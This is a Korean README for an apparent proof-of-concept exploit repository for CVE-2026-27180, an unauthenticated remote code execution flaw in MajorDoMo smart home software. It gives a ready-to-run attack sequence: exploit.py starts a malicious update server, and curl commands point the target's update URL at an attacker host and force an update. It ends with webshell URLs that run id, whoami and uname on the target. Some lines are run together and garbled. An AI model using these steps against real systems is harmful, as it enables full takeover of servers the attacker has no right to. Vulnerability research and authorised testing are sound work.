
CVE-2026-27180에 대한 개념 증명 익스플로잇으로, MajorDoMo에서 업데이트 URL 오염을 통한 인증되지 않은 RCE로 웹 루트에 웹셸을 전달합니다.
MajorDoMo에서 업데이트 URL 오염을 통한 인증 없는 원격 코드 실행
CWE-494 – 무결성 검사 없는 코드 다운로드
영향: 웹 루트에 배치된 웹셸을 통한 서버 완전 장악
인증 필요 여부: 없음
패치: PR #1177
이 저장소는 MajorDoMo 스마트 홈 자동화 소프트웨어의 치명적인 인증 없는 원격 코드 실행 취약점인 CVE-2026-27180에 대한 개념 증명 익스플로잇을 포함합니다.
공격자는 다음을 수행할 수 있습니다:
취약점은 다음 이유로 존재합니다:
auto_update_settings 및 force_update 모드에 대한 인증 검사 없음CURLOPT_SSL_VERIFYPEER = false)poc.php).htaccessgit clone https://github.com/YOUR-USERNAME/majordomo-cve-2026-27180-exploit.git
cd majordomo-cve-2026-27180-exploit
# pip install 불필요 – 표준 라이브러리 + argparse만 사용
graph TD
A["Attacker starts malicious HTTP server\nserving /master.xml + /archive/master.tar.gz"] --> B["Attacker poisons update URL\nvia GET /objects/?module=saverestore&mode=auto_update_settings\n&set_update_url=http://attacker:8080"]
B --> C["Attacker triggers update\nGET /objects/?module=saverestore&mode=force_update"]
C --> D["MajorDoMo fetches poisoned Atom feed"]
D --> E["Downloads malicious master.tar.gz\n(CURLOPT_SSL_VERIFYPEER=false)"]
E --> F["Extracts tar.gz with tar xzvf ..."]
F --> G["copyTree() copies files recursively\n→ poc.php & .htaccess land in web root"]
G --> H["Attacker accesses webshell\nhttp://target/poc.php?pass=ChangeMe123&cmd=id"]
style A fill:#f9d5e5,stroke:#333,stroke-width:2px
style H fill:#c3e6cb,stroke:#333,stroke-width:2px
악성 서버 시작:
python3 exploit.py http://192.168.1.50:80 --lhost 192.168.1.100 --lport 8080
서버가 시작된 후 대상에 대해 다음 명령어를 실행하세요:
# 1. 업데이트 소스 오염
curl 'http://192.168.1.50:80/objects/?module=saverestore&mode=auto_update_settings&set_update_url=http://192.168.1.100:8080'
# 2. 강제 업데이트 트리거
curl 'http://192.168.1.50:80/objects/?module=saverestore&mode=force_update'
10~90초를 기다린 후 웹셸을 테스트하세요:
# 예시:
http://192.168.1.50/poc.php?pass=ChangeMe123&cmd=id
http://192.168.1.50/poc.php?pass=ChangeMe123&cmd=whoami
http://192.168.1.50/poc.php?pass=ChangeMe123&cmd=uname%20-a
이 코드는 교육 목적, 공인된 보안 테스트 및 레드 팀 활동을 위해서만 제공됩니다.
MIT License
Copyright © 2026 Mohammed Idrees Banyamer
이로써 본 소프트웨어 및 관련 문서 파일("소프트웨어")의 사본을 얻는 모든 사람에게 제한 없이 소프트웨어를 취급할 수 있는 권한이 무료로 부여됩니다. 여기에는 사용, 복사, 수정, 병합, 게시, 배포, 재라이선스 및/또는 판매할 권리와 소프트웨어가 제공된 사람이 다음 조건에 따라 이를 수행하도록 허용할 권리가 포함되지만 이에 국한되지는 않습니다:
위의 저작권 고지 및 이 허가 고지는 소프트웨어의 모든 사본 또는 상당 부분에 포함되어야 합니다.
소프트웨어는 상품성, 특정 목적에의 적합성 및 비침해에 대한 보증을 포함하되 이에 국한되지 않는 어떠한 종류의 명시적 또는 묵시적 보증 없이 "있는 그대로" 제공됩니다. 어떠한 경우에도 저자 또는 저작권 보유자는 계약, 불법 행위 또는 기타 행위에 관계없이 소프트웨어 또는 소프트웨어의 사용 또는 기타 거래로 인해 발생하거나 이와 관련하여 발생하는 모든 청구, 손해 또는 기타 책임에 대해 책임을 지지 않습니다.